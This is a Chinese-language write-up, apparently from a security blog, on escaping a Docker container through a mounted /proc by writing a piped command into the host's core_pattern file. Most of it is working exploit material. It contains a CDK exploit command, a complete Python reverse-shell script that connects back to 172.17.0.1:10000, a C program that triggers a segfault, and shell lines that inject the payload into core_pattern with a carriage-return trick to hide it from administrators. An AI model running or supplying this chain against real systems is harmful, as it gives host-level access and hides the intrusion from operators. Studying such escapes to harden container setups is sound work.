前言
linux中的/proc
目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc目录挂载到容器内部时可以实现逃逸。
漏洞介绍
/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是管道符|
时,后面的部分会以命令行的方式进行解析并运行。
利用该解析方式,我们可以进行容器逃逸。
漏洞利用
cdk关于该漏洞的exp
cdk将用户指定的shell命令指向宿主机/sys/kernel/core_pattern
文件,在容器空间通过segment fault触发core dump,进而触发shellcode执行。
docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"
漏洞复现
以下复现内容参考自:
配置不当导致的容器逃逸 - Kingkk's Blog
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
/tmp/.x.py
执行反弹shell操作
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.17.0.1"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
漏洞触发需要运行一个会抛出段错误的程序:
1.c
(该程序会抛出段错误)
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
然后写入执行反弹shell命令(即运行上面的py文件)到共享的/proc
目录下的core_pattern
文件中:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
# 是以宿主机权限运行,所以py文件为当前容器文件路径在宿主机上的绝对路径
\r
之后的内容主要是为了管理员通过cat命令查看内容时隐蔽我们写入恶意命令。
这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern
中的命令(执行py文件)(运行成功core_pattern
时会有core dumped的输出)